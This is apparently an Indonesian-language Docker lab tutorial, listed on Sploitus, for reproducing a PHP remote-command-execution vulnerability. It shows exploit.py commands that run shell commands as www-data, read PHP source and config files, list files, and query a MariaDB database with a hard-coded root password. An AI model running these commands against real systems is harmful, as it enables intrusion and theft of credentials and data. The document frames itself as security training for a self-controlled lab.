Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
> Gunakan hanya pada sistem yang Anda miliki atau yang Anda punya izin untuk uji.
git clone
cd CVE-2026-109618-109619-Docker-Lab-Tutorial
CVE-2026-109618-109619-Docker-Lab-Tutorial/
docker ps --format "table {{.Names}} {{.Status}} {{.Ports}}"
Jika port berbeda, gunakan port yang ditampilkan oleh Docker.
[gadget] uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ini membuktikan command dieksekusi dari konteks aplikasi web.
python exploit.py 127.0.0.1 8091 "whoami"
python exploit.py 127.0.0.1 8091 "ls -la /var/www/html"
Buat marker benign pada file konfigurasi lab:
docker exec cve618-app sh -c "printf '\n// LAB_MARKER_CVE_FILE_ACCESS\n' >> /var/www/html/koneksi.php"
docker exec cve618-app sh -c "grep -n LAB_MARKER_CVE_FILE_ACCESS /var/www/html/koneksi.php"
python exploit.py 127.0.0.1 8091 "grep -n LAB_MARKER_CVE_FILE_ACCESS /var/www/html/koneksi.php"
[gadget] 15:// LAB_MARKER_CVE_FILE_ACCESS
Karena ini Docker lab sendiri, source PHP dapat digunakan untuk memahami dampak file-read:
python exploit.py 127.0.0.1 8091 "cat /var/www/html/index.php"
python exploit.py 127.0.0.1 8091 "cat /var/www/html/koneksi.php"
**Jangan masukkan credential nyata ke repository publik.**
python exploit.py 127.0.0.1 8091 "find /var/www/html -type f -name '*.php' -print"
python exploit.py 127.0.0.1 8091 "cat /var/www/html/index.php"
python exploit.py 127.0.0.1 8091 "getent hosts db"
Cek port MariaDB dari container aplikasi:
docker exec cve618-app php -r "echo @fsockopen('db',3306) ? 'DB_PORT_OPEN' : 'DB_PORT_CLOSED';"
Jalankan query identitas dari container database:
docker exec cve618-db mariadb -uroot -pinipassword1234 -e "SELECT USER(), DATABASE(), VERSION();"
root@localhost NULL 11.8.9-MariaDB-ubu2404
docker exec cve618-db mariadb -uroot -pinipassword1234 -e "SHOW DATABASES;"
docker exec cve618-db mariadb -uroot -pinipassword1234 -e "USE demo_db; SHOW TABLES;"
docker exec cve618-db mariadb -uroot -pinipassword1234 -e "USE demo_db; DESCRIBE users;"
docker exec cve618-db mariadb -uroot -pinipassword1234 -e "USE demo_db; SELECT COUNT(id) AS jumlah_users FROM users;"
- [x] Command berjalan sebagai `www-data`
Tutorial ini ditujukan untuk pembelajaran keamanan aplikasi dan reproduksi vulnerability pada lingkungan Docker yang dikendalikan sendiri.
Jangan menguji CVE terhadap sistem pihak lain tanpa izin eksplisit.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
